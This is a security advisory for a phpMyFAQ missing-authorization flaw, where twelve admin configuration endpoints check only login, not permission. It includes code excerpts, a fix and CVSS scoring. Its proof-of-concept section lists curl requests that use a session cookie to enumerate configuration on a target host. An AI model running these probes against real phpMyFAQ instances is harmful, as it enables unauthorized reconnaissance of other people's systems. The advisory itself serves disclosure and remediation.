Skip to content

GHSA-rm98-82fr-mcfx CVE-2026-45007

phpMyFAQ's Missing CONFIGURATION_EDIT Permission Check on 12 Admin API Configuration Tab Endpoints Allows Information Disclosure by Any Authenticated User

Medium Packagist
Severity
5.3 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.26%
Chance of exploitation in the next 30 days. Higher than 17.84% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-862 Missing Authorization
Fix
Available
2 packages have a fixed version

Description

Summary

12 endpoints in ConfigurationTabController.php use userIsAuthenticated() (login-only check) instead of userHasPermission(PermissionType::CONFIGURATION_EDIT). This allows any authenticated user — including ones with zero admin permissions — to enumerate system configuration metadata including the permission model, active template, cache backend, mail provider, and translation provider.

Details

The ConfigurationTabController contains 15 public endpoints. Three of them (list, save, uploadTheme) correctly enforce CONFIGURATION_EDIT permission:

// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:63
public function list(Request $request): Response
{
    $this->userHasPermission(PermissionType::CONFIGURATION_EDIT); // ✅ Correct
    // ...
}

The remaining 12 only check that the user is logged in:

// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:353
public function translations(): Response
{
    $this->userIsAuthenticated(); // ❌ Missing permission check
    // ...
}

The difference between these two methods is significant:

// AbstractController.php:258 — login-only
protected function userIsAuthenticated(): void
{
    if (!$this->currentUser->isLoggedIn()) {
        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');
    }
}

// AbstractController.php:317 — login + permission check
protected function userHasPermission(PermissionType $permissionType): void
{
    if (!$this->currentUser->isLoggedIn()) {
        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');
    }
    $currentUser = $this->currentUser;
    if (!$currentUser?->perm->hasPermission($currentUser->getUserId(), $permissionType->value)) {
        throw new ForbiddenException(/* ... */);
    }
}

There is no middleware or router-level authorization — the Kernel (Kernel.php) dispatches directly to controllers with only Language, Router, and Exception listeners. All authorization is at the controller method level.

The 12 affected endpoints (all GET, all under /admin/api/):

# Method Route Info Exposed
1 translations() /configuration/translations Available languages + current language
2 templates() /configuration/templates Available themes + active theme
3 faqsSortingKey() /configuration/faqs-sorting-key/{current} FAQ sorting key options
4 faqsSortingOrder() /configuration/faqs-sorting-order/{current} FAQ sorting order
5 faqsSortingPopular() /configuration/faqs-sorting-popular/{current} Popular FAQ sorting
6 permLevel() /configuration/perm-level/{current} Permission model (basic/medium)
7 releaseEnvironment() /configuration/release-environment/{current} Dev/production environment
8 searchRelevance() /configuration/search-relevance/{current} Search relevance config
9 seoMetaTags() /configuration/seo-metatags/{current} SEO meta tag config
10 translationProvider() /configuration/translation-provider/{current} Translation service (DeepL, etc.)
11 mailProvider() /configuration/mail-provider/{current} Mail provider (SMTP, etc.)
12 cacheAdapter() /configuration/cache-adapter/{current} Cache backend (filesystem/redis/memcached)

The translations() and templates() endpoints directly read from config/filesystem and expose current settings. The {current} endpoints render HTML <option> dropdowns where the caller-supplied value gets the selected attribute — an attacker can enumerate possible values to discover the current configuration.

PoC

# Step 1: Authenticate as any user (even one with no admin permissions)
# and obtain the session cookie (pmf_auth_XXXX)

# Step 2: Query configuration endpoints that should require CONFIGURATION_EDIT permission

# Enumerate available languages and current language setting
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/translations

# Enumerate available templates and which is active
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/templates

# Discover permission model by trying known values
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/perm-level/basic

# Discover release environment
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/release-environment/development

# Discover cache backend
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/cache-adapter/filesystem

# Discover mail provider
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/mail-provider/smtp

# Discover translation provider
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/translation-provider/deepl

Expected: HTTP 403 Forbidden for a user without configuration_edit permission. Actual: HTTP 200 with configuration data in HTML option format.

Impact

Any authenticated user (e.g., a regular FAQ contributor or a user with minimal permissions) can enumerate:

  • The instance's permission model (basic vs. medium) — reveals access control architecture
  • Whether the instance runs in development or production mode — development mode may expose debug info
  • The cache backend (filesystem/redis/memcached) — useful for targeting cache-specific attacks
  • The mail provider configuration — reveals infrastructure details
  • Available and active templates/themes — aids in targeting template-specific vulnerabilities
  • Translation provider (e.g., DeepL) — reveals third-party service integrations

While no credentials or secrets are directly exposed, this configuration metadata aids targeted follow-up attacks and violates the principle of least privilege — these endpoints exist to serve the admin configuration UI and should require the same CONFIGURATION_EDIT permission as the list and save endpoints.

Recommended Fix

Replace $this->userIsAuthenticated() with $this->userHasPermission(PermissionType::CONFIGURATION_EDIT) in all 12 affected methods:

// In ConfigurationTabController.php — apply to all 12 methods
// Before (line 355, and equivalent in all others):
$this->userIsAuthenticated();

// After:
$this->userHasPermission(PermissionType::CONFIGURATION_EDIT);

Affected methods: translations(), templates(), faqsSortingKey(), faqsSortingOrder(), faqsSortingPopular(), permLevel(), releaseEnvironment(), searchRelevance(), seoMetaTags(), translationProvider(), mailProvider(), cacheAdapter().

Affected versions

Packagist

PackageVulnerableFixed in
phpmyfaq/phpmyfaq
< 4.1.2
4.1.2
thorsten/phpmyfaq
< 4.1.2
4.1.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

phpmyfaq/phpmyfaq Packagist → 4.1.2

composer
composer require phpmyfaq/phpmyfaq:^4.1.2

thorsten/phpmyfaq Packagist → 4.1.2

composer
composer require thorsten/phpmyfaq:^4.1.2

Severity breakdown

CVSS 4.0 5.3

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
Low
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 4.3

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Weakness

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rw77-vq4g-x3hp
phpMyFAQ has SQL Injection in `StopWords::add()` — Unescaped Stop Word Insertion
High Also affects phpmyfaq/phpmyfaq
GHSA-8gpw-xvpf-hvx5
phpMyFAQ's two-factor authentication login bypasses the password factor
High Also affects phpmyfaq/phpmyfaq
GHSA-pgwp-vc7q-cvj3
phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission
High Also affects phpmyfaq/phpmyfaq
GHSA-6pvm-2vjj-rx4w
phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration
Medium Also affects thorsten/phpmyfaq
GHSA-mf8r-wm2w-f8c5
phpMyFAQ public FAQ APIs expose inactive FAQ content
Medium Also affects phpmyfaq/phpmyfaq
GHSA-88g4-74f3-63x9
phpMyFAQ has Potential Authenticated Path Traversal in PDF Export
Medium Also affects phpmyfaq/phpmyfaq
GHSA-pg62-f8g4-4wqh
phpMyFAQ privilege escalation: GroupController::updatePermissions lets a GROUP_EDIT admin grant rights they do not hold
High Also affects phpmyfaq/phpmyfaq
GHSA-985r-q3qp-299h
phpMyFAQ has an incomplete fix for GHSA-xvp4-phqj-cjr3 — editUser() and updateUserRights() lack authorization guards
High Also affects phpmyfaq/phpmyfaq
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor